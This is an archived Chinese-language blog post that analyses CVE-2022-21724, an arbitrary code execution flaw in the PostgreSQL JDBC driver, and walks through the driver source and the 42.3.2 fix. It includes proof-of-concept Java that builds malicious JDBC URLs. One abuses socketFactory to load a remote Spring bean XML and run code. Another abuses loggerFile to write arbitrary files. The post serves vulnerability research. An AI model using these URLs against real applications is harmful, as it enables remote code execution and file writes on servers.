0

CVE-2022-2

 2023-02-06 21:38:18
source link: https://aluvion.github.io/2023/02/05/CVE-2022-21724-PostgresQL-JDBC-Drive-%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

CVE-2022-21724 PostgresQL JDBC Drive 任意代码执行漏洞

CVE-2022-_

星期日, 二月 5日 2023, 3:23 下午

827 字

3 分钟

2 次


9.4.1208 <= PgJDBC < 42.2.25

42.3.0 <= PgJDBC < 42.3.2

maven依赖:


  1. <dependency>
  2. <groupId>org.postgresql</groupId>
  3. <artifactId>postgresql</artifactId>
  4. <version>42.3.1</version>
  5. </dependency>

参考文章使用的测试用漏洞代码:


  1. String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
  2. String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
  3. String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass + "&socketFactoryArg=" + socketFactoryArg;
  4. DriverManager.getConnection(jdbcUrl);

感觉跟之前的很像JXPath漏洞的利用方式,应该是数据库连接过程中会有指定对象实例化的过程。

运行一下就可以看到找不到类的报错,定位到SocketFactoryFactory类的getSocketFactory函数:


  1. String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);
  2. if (socketFactoryClassName == null) {
  3. return SocketFactory.getDefault();
  4. }
  5. try {
  6. return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,
  7. PGProperty.SOCKET_FACTORY_ARG.get(info));
  8. } catch (Exception e) {
  9. ...
  10. }

调用ObjectFactory.instantiate函数实例化了输入的jdbc url中配置的工厂类:


  1. @Nullable Object[] args = {info};
  2. Constructor<?> ctor = null;
  3. Class<?> cls = Class.forName(classname);
  4. try {
  5. ctor = cls.getConstructor(Properties.class);
  6. } catch (NoSuchMethodException ignored) {
  7. }
  8. if (tryString && ctor == null) {
  9. try {
  10. ctor = cls.getConstructor(String.class);
  11. args = new String[]{stringarg};
  12. } catch (NoSuchMethodException ignored) {
  13. }
  14. }
  15. if (ctor == null) {
  16. ctor = cls.getConstructor();
  17. args = new Object[0];
  18. }
  19. return ctor.newInstance(args);

可以看到,这里在寻找构造函数的时候存在参数要求:

  • 参数为Properties

  • 或者参数为String

可利用的也没多少了。

函数调用1

加上spring-context-support依赖,开启tomcat,xml就用JXPath同款就行,漏洞正常触发。

函数调用2

参数改成sslfactory和sslfactoryarg,看起来需要一个数据库服务端。

参数改成loggerLevel和loggerFile:


  1. String loggerLevel = "debug";
  2. String loggerFile = "test.txt";
  3. String shellContent = "test";
  4. String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=" + loggerLevel + "&loggerFile=" + loggerFile+ "&" + shellContent;
  5. DriverManager.getConnection(jdbcUrl);

Postgres数据库引擎在解析完URL后建立连接前会调用setupLoggerFromProperties函数,其中会打开日志文件:


  1. final String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps);
  2. ...
  3. java.util.logging.Handler handler = null;
  4. if (driverLogFile != null) {
  5. try {
  6. handler = new java.util.logging.FileHandler(driverLogFile);
  7. loggerHandlerFile = driverLogFile;
  8. } catch (Exception ex) {
  9. ...
  10. }
  11. }

没有目录校验,但是日志内容比较复杂,包括jdbc url,函数调用栈和异常等等。

猜测修复方式是限制工厂类的类型,将postgresql依赖换成42.3.2版本的,会发现报错:


  1. 警告: JDBC URL contains too many / characters

找到org.postgresql.Driver类的parseURL函数,可以看到其对/出现的次数做了限制:


  1. if (!urlServer.equals("//") && !urlServer.equals("///")) {
  2. if (urlServer.startsWith("//")) {
  3. urlServer = urlServer.substring(2);
  4. long slashCount = urlServer.chars().filter((ch) -> {
  5. return ch == 47;
  6. }).count();
  7. if (slashCount > 1L) {
  8. LOGGER.log(Level.WARNING, "JDBC URL contains too many / characters: {0}", url);
  9. return null;
  10. }
  11. ...
  12. }
  13. ...
  14. }

除去开头的//外只能出现一次/,而端口和数据库名之间肯定要有一个/,所以参数里是肯定不能有/了,想从外面加载xml也就行不通了。

此时阅读代码可以发现,如果jdbc url的引擎后没有//,就会进入另一个代码块,那里面没有对/的次数限制,但是到了getSocketFactory调用构造函数时:


  1. return (SocketFactory)ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info));

多了一个SocketFactory.class的输入参数,后续加载类时:


  1. Class cls = Class.forName(classname).asSubclass(expectedClass);

要求工厂类要是SocketFactory的子类,基本上已经修好了。


PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)


About Archive Link


everyday a lot of link has gone away.
archive.link will keep it forever.